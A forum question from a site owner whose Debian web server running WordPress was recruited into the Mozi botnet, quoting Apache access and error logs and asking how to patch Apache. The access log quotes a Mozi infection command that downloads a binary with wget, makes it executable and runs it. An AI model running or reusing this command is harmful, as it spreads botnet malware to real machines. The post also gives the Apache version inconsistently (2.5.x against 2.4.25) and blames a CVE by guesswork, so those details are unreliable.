I recently discovered that my Wordpress blog running on Google Compute Engine has been infected by the Mozi malware and was for a long time part of their botnet (confirmed as I received a warning from Google for illegal attempts to attack third parties).
First let's see what is my VM running:
OS: Debian 9 Strech Web Server: Apache 2.4.25 DB: MySQL 5.7.30 phpMyAdmin 5.0.2 Wordpress 5.5.1
Let me show you my findings:
Part of access.log of Apache2
115[.]61.116.192 - - [20/Oct/2020:10:53:15 +0000] "27;wget%20http://%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$ HTTP/1.0" 400 0 "-" "-"
Notice that it tries to execute arbitary code by downloading a script with wget and then attempting to chmod 777 it.
Part of error.log of Apache2
chmod: changing permissions of '/opt/c2d/downloads/phpmyadmin/doc/html/genindex.html': Operation not permitted chmod: changing permissions of '/opt/c2d/downloads/phpmyadmin/doc/html/index.html': Operation not permitted chmod: changing permissions of '/opt/c2d/downloads/phpmyadmin/index.php': Operation not permitted chmod: changing permissions of '/opt/c2d/downloads/phpmyadmin/setup/index.php': Operation not permitted
They seem to have succeeded in executing the arbitary code. Although not root, one malicious php script had been chmoded successfully by user www-data.
I think it is quite obvious that I'm running a vulnerable version of apache and hackers use this exploit CVE-2019-0211, after making a search in the CVE database.
I was held in surprise when I saw that although I tried to upgrade apache, apt said that I'm running the latest version. I mean this is a 2019 exploit, and I'm running version 2.5.25 when apache is now in 2.5.46. After making a search, I read in this Unix SE post that Debian handles differently package releases (I admit that I don't use Debain that much to know their perception on things like that).
My question is: How can I update apache to patch my system ? As you may understand, I need a solution ASAP.
dpkg -l apache2:
Desired=Unknown/Install/Remove/Purge/Hold | Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend |/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad) ||/ Name Version Architecture Description +++-======================-================-================-================================================== ii apache2 2.4.25-3+deb9u9 amd64 Apache HTTP Server